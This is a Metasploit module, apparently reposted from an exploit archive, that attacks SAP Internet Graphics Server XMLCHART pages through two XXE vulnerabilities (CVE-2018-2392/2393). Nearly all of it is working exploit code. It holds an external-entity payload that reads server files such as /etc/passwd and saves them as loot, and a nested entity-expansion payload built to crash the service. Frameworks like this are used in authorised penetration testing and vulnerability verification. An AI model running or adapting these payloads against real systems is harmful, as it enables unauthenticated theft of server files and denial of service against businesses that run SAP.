Share
## https://sploitus.com/exploit?id=PACKETSTORM:180812
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SAP Internet Graphics Server (IGS) XMLCHART XXE',  
'Description' => %q{  
This module exploits CVE-2018-2392 and CVE-2018-2393, two XXE vulnerabilities within the XMLCHART page  
of SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53. These  
vulnerabilities occur due to a lack of appropriate validation on the Extension HTML tag when  
submitting a POST request to the XMLCHART page to generate a new chart.  
  
Successful exploitation will allow unauthenticated remote attackers to read files from the server as the user  
from which the IGS service is started, which will typically be the SAP admin user. Alternatively attackers  
can also abuse the XXE vulnerability to conduct a denial of service attack against the vulnerable  
SAP IGS server.  
},  
'Author' => [  
'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability  
'Vladimir Ivanov' # @_generic_human_ This Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2018-2392' ],  
[ 'CVE', '2018-2393' ],  
[ 'URL', 'https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf' ]  
],  
'Actions' => [  
[ 'READ', { 'Description' => 'Remote file read' } ],  
[ 'DOS', { 'Description' => 'Denial Of Service' } ]  
],  
'DefaultAction' => 'READ',  
'DefaultOptions' => {  
'SSL' => false # Disable SSL (by default SAP IGS does not use SSL/TLS)  
},  
'DisclosureDate' => '2018-03-14',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
register_options(  
[  
Opt::RPORT(40080),  
OptString.new('FILE', [ false, 'File to read from the remote server', '/etc/passwd']),  
OptString.new('URIPATH', [ true, 'Path to the SAP IGS XMLCHART page from the web root', '/XMLCHART']),  
]  
)  
end  
  
def setup_xml_and_variables  
@host = datastore['RHOSTS']  
@port = datastore['RPORT']  
@path = datastore['URIPATH']  
@file = datastore['FILE']  
if datastore['SSL']  
@schema = 'https://'  
else  
@schema = 'http://'  
end  
@data_xml = {  
name: Rex::Text.rand_text_alphanumeric(12),  
filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",  
data: nil  
}  
@data_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>  
<ChartData>  
<Categories>  
<Category>ALttP</Category>  
</Categories>  
<Series label="#{Rex::Text.rand_text_alphanumeric(6)}">  
<Point>  
<Value type="y">#{Rex::Text.rand_text_numeric(4)}</Value>  
</Point>  
</Series>  
</ChartData>)  
@xxe_xml = {  
name: Rex::Text.rand_text_alphanumeric(12),  
filename: "#{Rex::Text.rand_text_alphanumeric(12)}.xml",  
data: nil  
}  
end  
  
def make_xxe_xml(file_name)  
entity = Rex::Text.rand_text_alpha(5)  
@xxe_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>  
<!DOCTYPE Extension [<!ENTITY #{entity} SYSTEM "#{file_name}">]>  
<SAPChartCustomizing version="1.1">  
<Elements>  
<ChartElements>  
<Title>  
<Extension>&#{entity};</Extension>  
</Title>  
</ChartElements>  
</Elements>  
</SAPChartCustomizing>)  
end  
  
def make_post_data(file_name, dos: false)  
if !dos  
make_xxe_xml(file_name)  
else  
@xxe_xml[:data] = %(<?xml version='1.0' encoding='UTF-8'?>  
<!DOCTYPE Extension [  
<!ENTITY dos 'dos'>  
<!ENTITY dos1 '&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;&dos;'>  
<!ENTITY dos2 '&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;'>  
<!ENTITY dos3 '&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;'>  
<!ENTITY dos4 '&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;'>  
<!ENTITY dos5 '&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;'>  
<!ENTITY dos6 '&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;'>  
<!ENTITY dos7 '&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;&dos6;'>  
<!ENTITY dos8 '&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;&dos7;'>  
]>  
<SAPChartCustomizing version="1.1">  
<Elements>  
<ChartElements>  
<Title>  
<Extension>&dos8;</Extension>  
</Title>  
</ChartElements>  
</Elements>  
</SAPChartCustomizing>)  
end  
  
@post_data = Rex::MIME::Message.new  
@post_data.add_part(@data_xml[:data], 'application/xml', nil, "form-data; name=\"#{@data_xml[:name]}\"; filename=\"#{@data_xml[:filename]}\"")  
@post_data.add_part(@xxe_xml[:data], 'application/xml', nil, "form-data; name=\"#{@xxe_xml[:name]}\"; filename=\"#{@xxe_xml[:filename]}\"")  
end  
  
def get_download_link(html_response)  
if html_response['ImageMap']  
if (download_link_regex = html_response.match(/ImageMap" href="(?<link>.*)">ImageMap/))  
@download_link = download_link_regex[:link]  
else  
@download_link = nil  
end  
else  
@download_link = nil  
end  
end  
  
def get_file_content(html_response)  
if (file_content_regex = html_response.match(/^<area shape=rect coords="0, 0,0, 0" (?<file_content>[^\b]+?)>\r\n$/))  
@file_content = file_content_regex[:file_content]  
else  
@file_content = nil  
end  
end  
  
def send_first_request  
# Send first HTTP request  
begin  
first_response = nil  
first_response = send_request_cgi(  
{  
'uri' => normalize_uri(@path),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{@post_data.bound}",  
'data' => @post_data.to_s  
}  
)  
rescue StandardError => e  
print_error("Failed to retrieve SAP IGS page at #{@schema}#{@host}:#{@port}#{@path}")  
vprint_error("Error #{e.class}: #{e}")  
return -1  
end  
  
# Check first HTTP response  
if first_response.nil? || first_response.code != 200 || !(first_response.body.include?('Picture') && first_response.body.include?('Info')) || !first_response.body.match?(/ImageMap|Errors/)  
return -2  
end  
  
if first_response.body.include?('Errors')  
return -3  
end  
  
first_response  
end  
  
def analyze_first_response(html_response)  
get_download_link(html_response)  
if !@download_link.to_s.empty?  
  
# Send second HTTP request  
begin  
second_response = nil  
second_response = send_request_cgi(  
{  
'uri' => normalize_uri(@download_link),  
'method' => 'GET'  
}  
)  
rescue StandardError => e  
print_error("Failed to retrieve SAP IGS page: #{@schema}#{@host}:#{@port}#{@download_link}")  
vprint_error("Error #{e.class}: #{e}")  
return -1 # Some exception was thrown whilst making the second HTTP request!  
end  
  
# Check second HTTP response  
if second_response.nil? || second_response.code != 200 || !second_response.body.include?('area shape=rect')  
return -2 # Response from second HTTP request was not what was expected!  
end  
  
get_file_content(second_response.body)  
return 0  
else  
return -3 # Download link could not be found!  
end  
end  
  
def check  
# Set up variables  
os_release = ''  
os_release_file = '/etc/os-release'  
  
# Set up XML data for HTTP request  
setup_xml_and_variables  
make_post_data(os_release_file, dos: false) # Create a XML data payload to retrieve the value of /etc/os-release  
# so that the module can check if the target is vulnerable or not.  
  
# Get OS release information  
check_response = send_first_request  
if check_response == -1  
Exploit::CheckCode::Safe('The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')  
elsif check_response == -2  
Exploit::CheckCode::Safe('The server sent a response but it was not in the expected format. The target is likely patched.')  
else  
if check_response == -3  
vprint_status("The SAP IGS server is vulnerable, but file: #{os_release_file} not found or not enough rights.")  
else  
result = analyze_first_response(check_response.body)  
  
# Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.  
if result == -1 || result == -3  
Exploit::CheckCode::Safe('The server did not respond to the second request in the expected manner and is therefore safe')  
elsif result == -2  
Exploit::CheckCode::Unknown('Some connection error occurred and it was not possible to determine if the server is vulnerable or not')  
end  
  
if !@file_content.to_s.empty?  
if (os_regex = @file_content.match(/^PRETTY_NAME.*=.*"(?<os>.*)"$/))  
os_release = "OS: #{os_regex[:os]}"  
end  
else  
return Exploit::CheckCode::Safe("#{@host} did not return the contents of the requested file, aka #{os_release_file}. This host is likely patched.")  
end  
end  
# Make ident  
if os_release != ''  
ident = "SAP Internet Graphics Server (IGS); #{os_release}"  
else  
ident = 'SAP Internet Graphics Server (IGS)'  
end  
# Report Service and Vulnerability  
report_service(  
host: @host,  
port: @port,  
name: 'http',  
proto: 'tcp',  
info: ident  
)  
report_vuln(  
host: @host,  
port: @port,  
name: name,  
refs: references,  
info: os_release  
)  
# Print Vulnerability  
if os_release == ''  
Exploit::CheckCode::Vulnerable("#{@host} returned a response indicating that its XMLCHART page is vulnerable to XXE!")  
else  
Exploit::CheckCode::Vulnerable("#{@host} running #{os_release} returned a response indicating that its XMLCHART page is vulnerable to XXE!")  
end  
end  
end  
  
def run  
case action.name  
when 'READ'  
action_file_read  
when 'DOS'  
action_dos  
else  
print_error("The action #{action.name} is not a supported action.")  
end  
end  
  
def action_file_read  
# Set up XML data for HTTP request  
setup_xml_and_variables  
make_post_data(@file, dos: false)  
  
# Download remote file  
first_response = send_first_request  
if first_response == -1  
fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the first request and did not respond in the expected manner.')  
elsif first_response == -2  
fail_with(Failure::UnexpectedReply, 'The server sent a response but it was not in the expected format. The target is likely patched.')  
else  
# Report Service and Vulnerability  
report_service(  
host: @host,  
port: @port,  
name: 'http',  
proto: 'tcp',  
info: 'SAP Internet Graphics Server (IGS)'  
)  
report_vuln(  
host: @host,  
port: @port,  
name: name,  
refs: references  
)  
# Get remote file content  
if first_response == -3  
print_status("The SAP IGS server is vulnerable, but file: #{@file} not found or not enough rights.")  
else  
result = analyze_first_response(first_response.body)  
# Handle all the odd cases where analyze_first_response may not return a success code, aka a return value of 0.  
if result == -1  
fail_with(Failure::UnexpectedReply, 'The server encountered an exception when trying to respond to the second request and did not respond in the expected manner.')  
elsif result == -2  
print_error('The server responded successfully but the response indicated the server is not vulnerable!')  
return  
elsif result == -3  
print_error('The server responded successfully but no download link was found in the response, so it is not vulnerable!')  
return  
end  
  
if !@file_content.to_s.empty?  
vprint_good("File: #{@file} content from host: #{@host}\n#{@file_content}")  
loot = store_loot('igs.xmlchart.xxe', 'text/plain', @host, @file_content, @file, 'SAP IGS XMLCHART XXE')  
print_good("File: #{@file} saved in: #{loot}")  
else  
print_error("Failed to get #{@file} content!")  
end  
  
end  
end  
end  
  
def action_dos  
# Set up XML data for HTTP request  
setup_xml_and_variables  
make_post_data(@file, dos: true)  
  
# Send HTTP request  
begin  
dos_response = nil  
dos_response = send_request_cgi(  
{  
'uri' => normalize_uri(@path),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{@post_data.bound}",  
'data' => @post_data.to_s  
}, 10  
)  
rescue Timeout::Error  
print_good("Successfully managed to DOS the SAP IGS server at #{@host}:#{@port}")  
  
# Report Service and Vulnerability  
report_service(  
host: @host,  
port: @port,  
name: 'http',  
proto: 'tcp',  
info: 'SAP Internet Graphics Server (IGS)'  
)  
report_vuln(  
host: @host,  
port: @port,  
name: name,  
refs: references  
)  
rescue StandardError => e  
print_error("Failed to retrieve SAP IGS page at #{@schema}#{@host}:#{@port}#{@path}")  
vprint_error("Error #{e.class}: #{e}")  
end  
  
# Check HTTP response  
fail_with(Failure::NotVulnerable, 'The target responded with a 200 OK response code. The DoS attempt was unsuccessful.') unless dos_response.code != 200  
end  
  
end